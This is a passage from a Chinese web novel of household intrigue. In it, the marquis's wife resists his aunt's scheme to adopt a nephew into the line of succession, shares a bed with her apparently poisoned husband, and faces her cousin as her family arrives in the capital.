“只是你的腿也是**吗?”
她喃喃自语说着自己的所思所想,全然没发现齐司延浑身紧绷,双手用力握紧玄霜剑,极力的克制隐忍,才维持住面色的波澜不惊。
……她竟知道他是中了陆氏的**。
总共不过待了一刻,江元音离开了储物室。
齐司延好似没发现她来过,一动未动。
江元音对曲休道:“玄霜剑的陈列架我检查过了,没有摔坏,我已擦拭过归了原位。”
曲休不由得往屋里瞟了眼,瞅见又摆放好的陈列架,表情有些说不出的古怪。
……夫人进去就为了摆陈列架?
江元音继续叮嘱道:“陈列架被维航攀落的事不必知会侯爷了,侯爷既没看见听见,玄霜剑也无事,侯爷知晓了只是徒增困扰。”
她懂得这种丧失五感后,护不住一切,只能任人宰割的无力感。
既然玄霜剑好好在他手里,他不必知晓发生了什么。
曲休的表情更古怪了,“……是,夫人。”
待江元音主仆三人离开,曲休入了储藏室。
他低声请示道:“侯爷,这架子还扔吗?”
他先前没把陈列架捡起来归位,是因为侯爷嫌齐维航碰脏了陈列架,要换新的。
可现在夫人又把它归位了。
齐司延没出声,起身将玄霜剑放回陈列架上。
他用行动给出了回答。
这陈列架,不换了。
第41章 三月内,与侯爷同房
戌时,晚餐过后。
江元音带着下午让雪燕、清秋去准备的适合幼儿的小玩意,前去看望齐维航。
陆氏心疼孙儿,没让儿媳把他将接回院落去,将他留在静怡轩照料。
江元音到时,陆氏正抱着齐维航在厢房外间的软榻上,低声软语地哄着。
而齐维航生母即陆氏的儿媳秦氏,唯唯诺诺候在一旁,目光追随着齐维航。
江元音一入内,屋内气氛骤降。
她毫无所察一般,福身行礼:“见过二叔母,”又看向秦氏,“见过堂嫂,”最后落在额角包扎,哭肿了双眼,仍在哼哼唧唧的齐维航身上,场面的心疼问道:“郎中如何说?维航没有大碍吧?”
“维航今日受伤,你也脱不了干系!”陆氏眼里喷火,迁怒道:“不是你多嘴阻拦,邓嬷早将玄霜剑取下来给他了,他何至于在我们谈话时,自个儿爬上去,不小心跌下来!”
曲休她一时收拾不了,只能骂骂江元音撒火。
这番逻辑说辞,江元音很是熟悉。
从前江云裳和江正耀有任何磕磕碰碰,陈蓉都得说教她。
她心里毫无波澜,低眼附和:“二叔母斥责的是。”
齐维航不过四岁,下午想要玄霜剑只是一时新鲜,听不懂也根本没去听大人们的谈话,但现在听着陆氏教训江元音,便觉得自己隐隐作痛的脑袋都拜她所赐,瞪眼吼道:“都怪你!都怪你!你快滚!”
秦氏拧眉,低声制止:“维航,不许这般同堂婶说话!”
有陆氏撑腰,齐维航半点不惧自己母亲,反而挑衅一般扬手一扫软榻上矮几的茶盏点心。
江元音利落侧身,避开了落地的茶盏。
可陆氏没有这般反应能力,茶水全倒在了她身上。
陆氏叫嚷道:“哎哟,我的祖宗!”
秦氏和邓嬷等人赶紧上前拿帕子帮忙擦拭整理。
江元音佯作手足无措的模样,在人群外看戏。
齐维航闯了祸,陆氏也不舍得说句重话。
真是恶人自有恶人磨。
一阵手忙脚乱后,陆氏叹息连连,诸事不顺她连继续骂江元音的心情都没有,只想着速速把事情敲定,便开口冲江元音道:“你来得正好,下午的事没说完,我这会同你说。”
江元音温声回道:“二叔母请说。”
这亦是她今晚过来的首要目的。
她不喜欢坐以待毙,越早摸清陆氏在打什么算盘越好。
陆氏坐靠着柔软的靠枕,问道:“司延还是和你分房而睡?”
江元音颔首,谨慎的不多言。
陆氏刻薄地打压道:“你出身低微,除了样貌过得去再无半点优点,没有才情,性格更是不讨喜,司延不喜欢你,是人之常情,他下午说和你夫妇一体,不过是因为你是圣上赐婚给他的妻,你可别自以为是,在我面前摆起谱来,不把我放在眼里。”
江元音惶恐俯身,“侄媳不敢,二叔母含辛茹苦养育侯爷成人,侄媳怎敢冒犯二叔母?”
“你有此觉悟便好,”陆氏满意扬了扬了唇角,切入正题,道:“司延娶你本就是无奈之举,我对他视如己出,更不愿勉强他去接纳你,但他一直膝下无子也不是个法子,我已找大师算过,维航的八字甚旺司延,若将维航过继给你们,既给你们解了子嗣之忧,搞不好还能让司延身体好起来,真真是喜事一桩。”
闻言,江元音觉得陆氏的算盘珠子都快崩到她脸上了。
按照她前世的了解,齐司延剩不到一年半的生命。
而侯爵之位**嫡长子,一年半后,他的嫡长子便是新的“定宁侯”。
陆氏让齐维航过继给她与齐司延,之后只要盯紧她,不给齐司延生儿子,那么一年半后,齐维航便是“定宁侯”。
难怪之前误会她同齐司延一起药浴,次日便送来了避子汤。
陆氏可真是想将齐司延里里外外榨个一干二净啊!
陆氏想见美好的未来,眸光锃亮,追问江元音:“你以为如何?”
不待江元音回应,秦氏率先跪倒在地,激动道:“不可!母亲,儿媳与夫君都好生生地活着,怎能将孩子送给他人?”
她跪地磕头,颤声乞求:“求母亲不要抢走我的孩子……求您了……”
“闭嘴!”陆氏阴沉着脸,厉声道:“我在问**,你搭什么腔?!”
秦氏急得不行,抬头热泪盈眶看向江元音,“我求求你,你和侯爷都还年轻,你们一定会有孩子的,不要抢我的孩子,求求你……”
这时软榻上的齐维航好似听明白了大家在说什么,“哇”的一声大喊大哭起来:“坏女人不给我剑,坏女人害
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我脑袋痛,我不要坏女人当我母亲,我不要!”
江元音真是多谢他们母子俩了,把她想说的话都说了。
她顺着母子俩的话,朝陆氏叹息道:“是侄媳无能,没能讨侯爷欢心,但侄媳不敢夺堂嫂所爱,不敢强维航所难。”
陆氏怒拍矮几,“你这是要忤逆我?”
江元音手捂心口,双肩抖颤了下,一副被吓得不轻的模样,脸色发白道:“维航天资聪颖,八字好、命好,我若能当他母亲,定是一大幸事,但……”
陆氏眉头紧锁,眯眼看她,“但?”
“此等大事还需过问侯爷,侄媳不敢一人做主。”
陆氏冷哼,拿下下午齐司延的话来压她,“他不是说与你夫妇一体,你可替他决定吗?”
她初初被这句话气得不轻,现在想来倒是舒心得很。
同齐司延商议,她还得好声好气劝说一番,但**就是个软包子,敢不顺她意,她有的是法子!
江元音同样在等这句话。
她恭顺道:“那侄媳便替侯爷应了。”
“不——”秦氏伸手拉住江元音的裙摆,泪流满面地乞求,“维航是我九死一生才生下来的孩子,郎中说我恐难再生育,我求你不要抢我的孩子……”
“秦氏!”陆氏大喝,脸上都是雷霆之色,“松手,成何体统!”
往日里秦氏早就乖乖松手,可此时她好似豁出去了一般,死死拽着江元音。
齐明宏本就不喜她,这些年接连纳妾,她又没法再生育。
齐维航便是她的一切!
江元音低眼看着这位绝望心碎的母亲,眼底有动容。
她安抚地拍了拍秦氏的手,换上心疼为难的神色,冲陆氏道:“恳请二叔母再通融三个月,三个月后,侯爷若仍不愿与我同房,我未能怀上子嗣,一切全凭二叔母做主,这三个月也足够堂嫂和维航适应了。”
她了解陆氏的脾性,强硬的拒绝只会惹来麻烦。
最好的方式,是阳奉阴违。
在齐维航止不住的**声里,陆氏点头应了,“行,那便允你三个月,”她冷冰冰看向江元音的肚子,“希望你的肚子争气。”
先不论齐司延那个废人能不能行,江元音别妄想在她眼皮底下怀孕。
三个月算什么?
给他们三年都怀不上!
第42章 搬回主屋睡
江元音离开后,秦氏跪行至陆氏脚边,哽咽道:“母亲素来最疼维航,怎舍得他与亲生父母分离啊!”
陆氏命嬷嬷把齐维航带去里间,对秦氏嫌恶骂道:“你真是鼠目寸光的后宅妇人!明宏娶了你,仕途没有半点起色,你秦家若能帮衬得上半点,我也不必如此费心谋划!”
“你真是个蠢货!”陆氏指着秦氏的鼻子继续骂道:“维航过继给他们是天大的好事,那病秧子一死,维航就能继承侯爵,到时你就是侯爷生母,这是你自己八辈子都求不来的荣耀!”
秦氏一听更是心慌绝望。
她深知陆氏有多贪恋权势,有这么大的好处,自己是劝阻不了的。
她不死心地伸手抓住陆氏的衣摆,哭道:“儿媳只求维航平安健康长大,不和他骨肉分离,不想当什么侯爷生母……”
陆氏扬手给了秦氏一巴掌:“哭哭哭,就知道哭,福气都给你哭没了!晦气!”
她眸光狠厉:“你要是个聪明人,就该助我促成此事,做好准备跟**一起抚养维航,你要是烂泥扶不上墙,日后维航没你这个娘!”
末了,她一脚将秦氏踹开,“滚回你屋里哭去!”
秦氏失魂落魄地离开了静怡轩,等候良久的江元音迎面而来,与她“碰巧”撞个正着。
“堂嫂怎地一人出来了?”江元音讶然道:“可是要回院?我给维航备了些小玩意,刚忙着和二叔母说话忘给了,是以折返来送,没想到碰上了堂嫂。”
她示意雪燕将东西递过去,“真巧,希望维航能欢喜。”
秦氏反应强烈地挥开,“我不要你的东西,我只要我孩子!”
丫鬟马上上前拉住她,替她向江元音解释道:“我家夫人受了刺激,暂失了理智,侯夫人见谅!”
江元音扫过秦氏脸上的巴掌印,心中已然有数,她上前一步,“我亦不愿见堂嫂骨肉分离。”
她定定地望着秦氏,声音却很轻柔,递给其讯号:“堂嫂,我们一道争取,如何?”
从齐维航对她无礼,秦氏出声制止,能看出秦氏不是一味纵容孩子的人。
秦氏不过是个被陆氏欺压的、唯唯诺诺的儿媳妇。
只要有共同的敌人,她们就能成为盟友。
秦氏脸上是火辣辣的疼,陆氏各种羞辱刺耳的话不住在脑海里回荡。
因为秦家没落,陆氏开始日日挑她刺,齐明宏待她更是一日不如一日。
她成日夹着尾巴做人,孩子是她唯一的念想与寄托。
陆氏却要抢走她的孩子!
这样的日子她过够了!
秦氏双手握拳,“要怎么做?”
江元音浅笑安抚,“堂嫂莫急,我们从长计议。”
江元音回了青松院后,没有回主屋歇息,而是去寻了齐司延。
“生孩子”这等大事,她一个人可不行。
齐司延不在起居室,这个点仍在书房。
曲休开门问道:“夫人有急事?”
近来夫妇俩的关系是亲密了很多,经常一起用膳,但入了夜,都是各忙各的,没有交集。
江元音直接表明:“我刚从二叔母那回来,有事需同侯爷商议。”
曲休回想了下白日里陆氏的话,了然点头,侧身让路。
江元音没急着迈进去,而是吩咐道:“你和雪燕她们一起在门口候着,我想和侯爷单独谈谈。”
“……是,夫人。”
江元音入屋关门,齐司延坐在书案旁,案上摆放着盲文木板,他的手在细细
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摸索,认真而专注。
她走至他身侧,熟练地俯身凑到他的耳边,“打扰侯爷片刻,妾身有要事商议。”
齐司延淡声道:“何事?”
江元音言简意赅道:“侯爷一直未与我圆房,二叔母忧心子嗣,要将维航过继给我们。”
齐司延似是意料之中一般,没甚情绪起伏,“那你是如何回二叔母的?”
“二叔母的决定,自不容妾身拒绝。”
齐司延摸索木板的动作一顿,声音沉了沉,“你答应了?”
江元音敏锐的察觉到他微妙的转变,笃定他亦是不愿意要齐维航这个“儿子”的。
既然他们立场一致,他肯定会配合她。
江元音轻“嗯”了声后补充道:“但我向二叔母争取了三个月的时间,”她声音越发轻柔,“我知侯爷非自愿娶我,对我亦没有男女之情,我本不愿勉强侯爷,奈何二叔母步步紧逼,妾身……哎。”
她戛然而止,对陆氏的控诉与委屈都糅杂进这一声意味深长的叹息里。
“侯爷,妾身今日前来,是有一事相求。”
“嗯?”
“还望侯爷念在夫妻一场,给妾身留点颜面,”江元音凑得更近,亲昵得好似情人间的低喃,软声道:“侯爷,先搬回主屋睡,可好?”
齐司延若一直不与她同房,那她这三个月便白争取了。
陆氏随时能以此为由,将齐维航过继过来。
两人是脑袋相贴,并非面对面,互相看不到彼此的表情神色。
齐司延望着桌案上的摇曳的烛火,眼里有光忽明忽暗。
她声音娇软得好似在撒娇,那种酥麻的感觉,从耳廓一直传递到心口。
良久的沉默后,他哑声应了:“好。”
第43章 借种生子
翌日,齐司延搬回主屋。
清晨请安时,江元音一脸欣喜与感恩,故意气陆氏:“多亏二叔母提点,侄媳才鼓足勇气去和侯爷商议,没想到侯爷昨夜竟允了。”
陆氏后槽牙快要咬碎,阴阳怪气道:“那你可得把握住机会,好好争气。”
江元音娇羞垂首:“侄媳定尽力而为,不辜负二叔母的期望。”
陆氏冷笑,心里不爽却不觉得是多大的威胁。
江元音能不能生下齐司延的孩子,是她说了算。
他们同房了也不是什么坏事,日后齐司延的“意外”,更方便推到她头上。
陆氏斜瞥了她一眼,又道:“你初为人妇,有些人情世故的规矩怕是不懂,我得提醒敲打你一番,免得你无声无息得罪人,让人背地里议论笑话。”
“二叔母请说。”
“婧涵下月初五出嫁,你身为堂嫂,于情于理都得为她添一份嫁妆。”
江元音就知道陆氏还惦记着她的嫁妆,面上认可地点点头,虚心请教道:“侄媳的确没这方面的经验,请问二叔母,侄媳为婧涵妹妹准备多少嫁妆较为合适?”
陆氏暗示道:“自然的阔绰大方些为好,你可是侯夫人,莫失了格局,叫人看了笑话。”
江元音恭顺回道:“侄媳一定会在自己能力范围内,给婧涵妹妹备上一份丰厚的嫁妆。”
江家人不日便要抵京,等到了下个月初五,她有的是理由“一穷二白”。
她的嫁妆现在都归她自己保管,说多说少,只是她一张嘴的事。
而陆氏闻言,脑海里过了遍江元音的十里红妆,满意颔首。
回到青松院后,江元音开始为了齐司延,收拾整理主屋。
除去更换床褥等,她命人将入门的门槛铲平,移走了屋内许摆件陈列。
忙活了半日,主屋变成一目了然的简洁。
简洁到有些空荡了。
江元音巡视了一遍成果,很是满意。
没了门槛,方便齐司延轮椅进出,屋内撤除了多余的摆件,避免他通行不畅磕碰到。
这些可都是她前世的经验之谈。
当晚,齐司延迟迟未到。
雪燕和清秋在厢房陪江元音等着,两人望眼欲穿,不住地看向门口,比江元音还要激动紧张。
此情此景,堪比新婚夜。
雪燕的确回忆起了新婚夜江元音遭过的冷遇,一番纠结后,望向气定神闲的主子,忍不住道:“夫人,侯爷该不会不来了吧?”
但她的心情和新婚夜已经大不相同。
她既期盼侯爷过来,又希望侯爷不来。
她不愿意主子被冷落,但一想到侯爷的身体,又觉得来了遭罪的是她主子。
其实这一个月,主子一人独住,过得甚是轻松自在。
清秋随之询问道:“要不,我去问问?”
“不用,”江元音淡然得很,“安心等着吧。”
以她这一个月对齐司延的了解,他是个言出必行的人。
他昨晚既答应了,就不会无故变卦。
迟迟未来也很好理解,想来他也是要做一番心理准备。
果不其然,又过了一刻钟,人到了。
大门是敞开的,曲休推着齐司延轻松入门,讶然感慨道:“夫人对侯爷真真是细致入微,竟将门槛都铲平了。”
齐司延双腿“废”了后,他起居室那边的房屋门槛是全部铲平了的。
齐司延环视了下屋内,看见所有的柜子、桌椅都是贴墙而放,给屋内腾出了空间。
……她的确体贴细致。
此时听到外间声响的主仆三人从里间出来。
“见过侯爷。”
“见过夫人。”
曲休和雪燕、清秋互相给齐司延、江元音行礼。
江元音笑吟吟走到齐司延身侧,俯身凑近其耳畔笑道:“侯爷终于来了,叫妾身好等。”
她说得随意,面色坦荡,并无羞窘之色。
她很清楚今晚什么都不会发生,与齐司延同房是做给陆氏看的障眼法。
他耳目不聪,她只要稍稍离他远些,他都不知道身边有她。
这就更不会让她对两人同房产生什么不自在的感觉了。
可说者无心听者有意,她这话在齐司延心里
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激起了一层涟漪。
他神色淡淡道:“夫人不必等我,可自行歇息。”
江元音不以为然,道:“时候不早,妾身侍候侯爷洗漱更衣吧。”
“不必,我已洗漱过了。”
语罢,齐司延轻咳了声。
曲休会意,立即将其推至于里间床榻旁,将其背放到床上。
江元音主仆三人跟进里间时,曲休正帮齐司延脱掉外衣,利索地服侍其躺下。
一气呵成的完成,他朝江元音俯身:“不打扰侯爷、夫人歇息,曲休告退。”
江元音见齐司延已经闭眼,越发笃定今晚什么也不会发生。
他会答应回主屋睡,大抵只是为了她昨日那句念在夫妻一场,给她留点颜面。
以及,他亦不愿要齐维航这个便宜儿子。
江元音乐得轻松,边迈向梳妆台边吩咐清秋去端热水过来洗漱,雪燕则立在她身后,帮她拆珠钗发髻。
知晓齐司延听不见,雪燕没有特意压低声音,开口道:“夫人,不如今晚我睡外间守着吧,若是侯爷要起夜,也有人照料。”
江元音否决了,“他不喜欢人近身侍候,我来就行。”
往日他身边就一个曲休,雪燕对他而言是个连长相都未知的陌生丫鬟。
他定不习惯也不乐意。
“夫人真是处处为侯爷着想,可侯爷似乎无心……”雪燕是个未经人事的小姑娘,闺房之事羞于直说,“这样下去,夫人如何怀孕?”
铜镜里,江元音漫不经心地回:“没事,有三个月呢。”
雪燕不好意思道:“可侯爷的身体怕、怕是不行……”
他连躺下都需人帮忙,别说三月,便是和夫人同床三年,也生不出孩子吧?
“他行不行我三个月后都能‘怀孕’,应付陆氏。”
雪燕握木梳的手一顿,瞠目望向铜镜里的江元音,声音发颤道:“夫人难不成、难不成打算……找人借种?!”
床上闭目的齐司延呼吸一滞,双手用力拽着床褥,才没有掀被而起。
他不行,她要找人借种生子?
她敢!
第44章 同塌而眠
江元音嗔了铜镜里的雪燕一眼,没好气道:“得亏这没有外人,侯爷又听不到,不然我的名声和脑袋还要不要?”
“雪燕失言!”雪燕惊魂未定,忙压低了声音,“雪燕愚昧,实在不知道侯爷不行……夫人要如何有孕……”
“呆子,”江元音解释道:“我说的怀孕是让陆氏以为我怀孕,听懂了?”
雪燕细一琢磨,眼珠子转了转,“夫人的意思是……假怀孕?”
江元音轻“嗯”了声,“我向陆氏争取三个月,可不是用来生孩子的,是为了给侯爷养好身体。”
三个月的时间,药材到位,齐司延体内的毒素应该能解不少。
不能保证他好全,但至少耳力目力都能恢复不少。
她要让他亲眼看清楚陆氏的种种罪行,而不是她在他耳边“搬弄是非”一般转述。
雪燕更困惑了,“夫人知道如何帮侯爷养好身子?”
“你忘了我上回出府同邓行主交易换的药材了?”江元音没藏着,“那些药材便是给侯爷治病的。”
在雪燕眼里,江元音聪慧爱看书,懂得如何治好齐司延不奇怪,扬声道:“夫人让江南十二间铺子无偿给邓行主提供珍稀药材,就是为了给侯爷养身子?”
她禁不住感慨道:“夫人待侯爷真的是掏心掏肺了,也不知侯爷何时才能发现夫人的付出,能待夫人好些,给夫人幸福……”
“雪燕,”江元音出声打断,“幸福是靠自己争取,而不是靠其他人给的,一个人的幸福若寄托捆绑在另一个人身上,那她永远不会幸福。”
就如上辈子,她一门心思渴望家人的认可和爱,才会过得悲惨不幸。
她帮助齐司延,不是因为爱他,更不是想获得他的爱。
只是因为他在她收拾王嬷时,护她助她,在她**时给她送来静息丸,而她在他身上看到了上辈子的自己。
他于她而言,只是盟友。
雪燕似懂非懂地点点头,认可道:“夫人聪慧,说什么都是对的。”
她替江元音梳顺了头发,又想到什么似的,问道:“那婧涵小姐的嫁妆夫人作何打算?听那陆氏的口吻真是巴不得夫人将自己的嫁妆悉数都给了她女儿才好,成日里就想着欺负夫人,真是不要脸!”
话音一落,清秋端了热水进来,江元音动身去洗漱,话题戛然而止。
洗漱完后熄了大灯,她令雪燕和清秋退下,自己举着烛火迈向床榻。
她立在床边借着微弱的光线,俯视打量着齐司延。
他睡得非常的板正,烛火映照着他轮廓分明的脸,少了几分往日的矜贵淡漠,平添些许无害的温柔。
平日里和他相处时,为了方便交流,她皆是站在他身侧,贴在他耳边,鲜少看到他的正脸。
她安静地端详了他好一会。
半晌后,认真客观地评价出声:“倒真是生了副极好的皮囊,可惜……”
可惜好好一个人,被陆氏害成这样。
他若能顺遂长大,定是汴京风头最盛的少年郎。
她止了这自言自语,吹灭了烛火,上了床榻。
一室黑暗里,齐司延的呼吸重了又重。
她到底在可惜什么?
……可惜他不行?
齐司延自诩隐忍淡然,但此刻被她意味深长的一句“可惜”拉扯着理智,破天荒地有了想证明自己的冲动。
想要将她压在身下,再问问她,他到底行不行。
江元音哪知齐司延正在天人交战,她正陷入自己的困扰中。
吹灭了烛火,要在一片黑暗中,不碰到睡在外侧的齐司延上床榻,很难。
但很快,她想通了。
之前汤水洒在他腿上,他没甚反应,说不定他已没了触觉。
那她碰到他,他也不会有感觉,便不会吵醒他了。
江元音如释重负,摸黑上床,在往里边爬时,右手不小心撑在他的胸口上。
隔着柔软的被褥,他的身体比她想象中的要结实,按上去竟有些硬邦邦的,好似浑身紧绷一般。
她来不及细想,很快被他强有力的心跳声吸引。
“砰砰砰——”
有些异常的快。
她觉得古怪,不知他是不是心脏出了问题,俯身贴耳凑上去想确认一番
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。
可下一瞬,他双手忽地揽上来。
她一怔,尚未反应过来便被他一个侧身,抱到了床榻里边。
江元音:……?
他有触觉,他醒了?
两人此刻是侧卧相拥的姿势,江元音顺势仰头凑近他耳朵,探寻问道:“侯爷醒了?”
只隔了被褥,她感觉到了他偏高的体温,赶忙伸手探入被褥中,确认的抚上他的胸膛。
真的很烫,心跳也越来越快。
齐司延逸出一声沉闷的呼吸,哑声轻“嗯”。
江元音越发觉得不对劲,手上移至他的额头,关切问道:“侯爷可有觉得体热头昏?是不是身体不适?”
她的手不再在他身上“作乱”,他稍稍松了口气。
可耳侧脸颊都是她的气息,鼻尖弥漫的是她身上的幽兰香,手臂隔着里衣能感受到她馨软的身子,齐司延绷紧了脑子里的每一根弦。
他的确体热,也快要……头昏。
“没有,”齐司延哑声否认,挥开她的手,翻身平躺,拉开两人的距离,“睡吧。”
江元音不放心地凑过去,“可侯爷的身子有些烫,别是染了风寒脑热,我去唤郎中……”
“没有,”齐司延口吻生硬地再次否认制止,一本正经道:“男子体温本就比女子高。”
江元音狐疑:“是么?”
那也不至于高这么多吧?
齐司延气场骤降,体温倒真的变低许多,沉声反问:“你这般讶异难不成你还与其他男子同塌而眠,感受过其他男子的体温?”
回想起她同丫鬟的对话,心里涌动着难以言喻的不爽。
江元音:……?
他怎会这样想?
好心好意的关心换来质疑。
江元音同样不爽,在黑暗中白了他一眼,一开口却充斥着失落委屈:“妾身不过是关心则乱,侯爷为何要恶语伤人?”
明明什么都看不到,可齐司延眼前却浮现她湿漉漉的眼。
他有些懊恼,再开口时,语调轻柔似哄:“是我口不择言,夫人莫怪。”
接着他长臂一伸,替她盖好被子,“睡吧。”
第45章 我再也不敢勾引侯爷了
江元音不再勉强,往里挪了挪。
白日里忙活了一下午,甚是疲累,她合上眼,很快入睡。
静谧的屋内,齐司延听着耳畔均匀的呼吸,毫无睡意。
……她还真睡了?
不是要争取三个月内怀孕吗?
他设想过她今晚会使出解数来撩拨,是以才倒床便“睡”。
刚叫停让她去睡的人是他,可她真睡了,他又有些怅然若失。
紧接着脑中闪回着她和雪燕的对话,他愈发清醒。
她不仅懂岐黄之术,还愿意无偿给邓立文提供珍稀药材,来换给他解毒的药材。
可他费尽心思都未能寻到解毒的法子,她当真会?
还有,不是嘱咐她有任何难处、要求都可以去找他商议吗?
陆氏让给她给齐婧涵备嫁妆一事,为何不同他说?
齐司延心绪百转千回,又不能去将她唤醒说个清楚明白,徒留一声叹息。
次日,江元音醒得比齐司延要早。
她日日去给陆氏请安,已养成了习惯,到点便会醒来。
意识回笼,她侧眸看向身旁,齐司延还和昨夜一般,躺得板正地睡着。
她坐起身来,伸手探向他的额头,确认体温正常后,放下心来,翻身下床。
雪燕、清秋进来侍候她梳洗,问道:“可要去唤侯爷起来?”
“时候还早,等我请安回来再说吧。”
齐司延不用处理公务,每日要做是养好身体,没必要早起,
待她请安回来,刚好可以和他一道吃早餐。
静怡轩。
例行的请安过后,陆氏直接问道:“昨夜与司延圆房了?”
江元音羞涩垂首,没正面回答,引人遐想道:“侄媳会努力为侯爷开枝散叶。”
陆氏冷笑,“这是好事,我也得帮帮你才行。”
江元音佯作一脸困惑地抬眼,见其示意邓嬷端了碗汤药过来。
陆氏:“这是催孕养胎的补药,能帮你调理身体尽快受孕,若怀上了能帮你安胎。”
江元音一副受宠若惊的模样,“多谢二叔母费心。”
“嗯,喝了吧。”
江元音伸手去拿药,手一抖,“不小心”将汤药全洒了。
邓嬷“呀”了一声,江元音率先出声认错:“怪侄媳太激动,笨手笨脚浪费了二叔母的一片心意。”
什么催孕养胎,根本是**吧。
陆氏眉头一皱,看向那畏手畏脚,缩头缩脑的江元音,只觉得她跟儿媳都是一个德性。
笨拙窝囊得让人一肚子火。
看着就来气。
陆氏一手揉着太阳穴,一手摆着赶人:“回你屋去,一会我再让人熬一碗给你送去。”
“多谢二叔母,侄媳告退。”
江元音例行一演结束,再回到青松院时,齐司延已不在屋内了。
她本打算去找他一道吃早餐,可惜念头被下人送来的一封家书打消。
信件内容简短,江兴德告知江元音,他们约莫今日午时便会抵京,让她准备迎接。
江元音合上信,漫不经心地笑了笑。
那她自然得好好迎接一番了。
江元音在主屋里简单用过早膳,便去换了身最朴素低调的衣服,取下了头上珠钗。
清秋不明所以,好奇地问:“夫人要去接娘家人,怎地打扮得如此朴素?”
按道理不该打扮得越高调隆重越好么?
夫人现下这打扮,不似当了侯夫人,反而跟下嫁了平民百姓似的。
江元音自不会再跟清秋说一遍自己从前在江家的种种,不多做解释,只是突兀地问了句:“陈招娣呢?”
陈招娣从柴房出来后,因为手伤感染,发起了高烧,昏迷了数日。
醒来后好似得了失心疯,成日窝在丫鬟们的厢房,不肯外出。
江元音不关心她是真疯还是假疯,只要不在她面前作妖,她眼不见心不烦,懒得管她。
但既然江家人要到汴京了,她也该去问候问候这位表妹了。
“当在后院厢房。”
江元音起身,往后院去了。
除了清秋,现在青松院留着侍候江元音的,都是从江家带过来的奴仆,大家知晓陈招娣的身份脾性,自然不会去管她平日里干不干活,毕竟连江元音都没有多话。
王嬷等人被遣散后,下人厢房空出来了几间,陈招娣一人独住一间。
大家不愿招惹她,都是敬而远之。
江元音到的时候,她正对着镜子梳发,听见声响回头,看见江元音犹如惊弓之鸟,手一抖,梳子掉地。
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她起身畏畏缩缩的杵着,牙齿打颤地唤道:“元、元音表姐……”
一看到江元音,她的手掌便开始隐隐作痛,那种被踩在脚下狠狠碾压的感觉涌上来。
就是那时她才真切地感觉到,江元音早就不是她记忆中那个好欺负的软包子了。
而定宁侯府,无一人可以帮她。
她是真的怕了。
江元音看向她的手,浅笑问道:“好久不见,表妹伤可好全了?”
没有郎中看诊处理伤口,就靠着些伤药,陈招娣的右手现在仍是肿胀的,掌心是丑陋的、时不时会流脓的疤,而有些手指更像是断了经脉,不听使唤。
陈招娣觉得江元音笑得她头皮发麻,下意识将手背到自己身后藏起来,扯出一丝难看的笑容,战战兢兢地回:“好、好全了……”
“表妹怎地一直往后退?”江元音笑吟吟地缓步走近,“我很可怕吗?”
陈招娣知道江元音不会无故来寻她,柴房那一次早就吓破了她的胆,她后来又听闻院里管事的王嬷因为得罪了江元音,被剁了双手扔出了侯府,吓得连做了好几日的噩梦。
此刻看见江元音,她好似见了鬼,直接往地上一跪,认错求饶道:“我错了,我再也不敢勾引侯爷了……真的,我发誓,我绝不会再靠近侯爷一步……”
那个男人也跟修罗似的可怕!
江元音却好似听到了笑话一般,笑出了声,“你发这种誓作甚?你便是天天在他眼前晃悠,他也不会多看你一眼。”
陈招娣慌了。
不是为了侯爷而来?
难道是小时候的事?
“从前都是我不对,但好多事都是云裳表姐指使我的,我不是故意的,我再也不敢了……日后我只听元音阿姐的!”
江元音俯视她,轻笑:“云裳要知道你这样说,怕也饶不了你哦。”
陈招娣的脸霎时惨白,惊恐万分地瞅着江元音,“云、云裳表姐回来了?”
江元音不语,欣赏着她脸上的恐惧与不安,在她快要崩溃时,慢悠悠地开口:“那就不知道了,不过父亲母亲和正耀一会要到汴京了,你可要随我去见一见?”
陈招娣的眼里一刹便有了光。
姑母到汴京了?!
她有救了!
第46章 江元音是个疯子,可怕得很
江元音命人去了城门口等待江家人入城,随后带上陈招娣一起出了侯府,前往她在西街为江家购置的府邸。
马车上,陈招娣惶惶然坐在车角的位置,但心里都是快压制不住的期待与兴奋。
姑母一定会为她做主的!
等见到姑母,她再也不要怕江元音这个疯子!
江元音将陈招娣的神色尽收眼底,了然于心的淡然。
等到了新买的府邸,江元音下了马车,在大门前站着。
她时间掐得准,不到一刻钟,浩浩荡荡的车马队伍便出现在街角。
江家举家迁至汴京,车队自比她先前出嫁的仪仗队要多得多。
江元音扫了眼身旁跃跃欲试的陈招娣,笑着提醒道:“招娣表妹,一会见了我阿父阿母,什么该说什么不该说,你可要心中有数,否则你以后的日子怕是不好过呢。”
车队越来越近,陈招娣的嚣张也死灰复燃,她瞪着江元音,再没有半点先前惧怕的模样,恶狠狠道:“姑母来了,没好日子过的人是你!你别想再威胁我,我不会再回侯府了!”
“哦?”江元音笑了,“是么?”
说话间,马车驶到面前,江兴德、陈蓉、江正耀从主马车里下来。
江元音换上欣喜的神色,快步迎上去,“阿父、阿母、正耀,你们终于来了。”
一别三个多月,江兴德点头打量着江元音,眉目中浮现失望之色。
这穿着打扮,不见半点侯夫人的气派。
她在侯府没站稳脚跟?
陈蓉率先出声,不悦道:“我们初次入京,你怎地没在城门口相迎?莫不是成了侯夫人,便不将你父母看在眼里了?”
江元音完全没有说话的机会,陈招娣越过她,直接扑到陈蓉怀里,扯着嗓子便哭诉起来:“姑母可算是来了,招娣等得好苦,姑母可要为招娣做主啊……呜呜呜……”
西街本就是人多,江元音选得又是临街的府邸,江家车马阵仗大,引来无数看热闹的百姓。
江元音看看那些伸长脖颈的围观群众,温声冲江兴德道:“阿父,人多口杂,要不我们入屋说话?”
江兴德是抱着光耀门楣的期待来得汴京,自不会愿意成为别人的谈资,示意陈蓉住嘴,吩咐李管事将马车上的行李卸下搬入宅子后,大步迈入宅内。
一入宅子,杂草丛生,满目破败荒凉。
江兴德三人傻眼,连告状的陈招娣也怔住了,继而更觉胜券在握。
她竟然给姑父姑母找这样的宅子,她死定了!
“这什么鬼地方?!”江正耀骂出了声,“这种地方怎么住?!鬼都不住!”
江兴德深呼吸,望向江元音,沉声问:“元音,这到底是怎么一回事?”
江元音眸光闪烁,抿了抿唇弱声道:“是元音无能,辜负阿父阿母的期盼,未能讨得侯爷欢心,在侯府过得……”
“她撒谎!”陈招娣激动打断,“她自从入了侯府就好似变了个人,凶狠毒辣,”她举起自己的右手,“她踩废了我的手,姑母,你可要为招娣做主啊,江元音是个毒妇,我若继续待在她身边,还不知道她要怎么折磨我,姑母救我!我不想再回侯府了!”
江元音睫毛颤了颤,眼泪将落未落,委屈质问陈招娣:“我自问待你不薄,本不欲在阿父阿母面前提起你的所作所为,可你反而颠倒黑白,欺人太甚。”
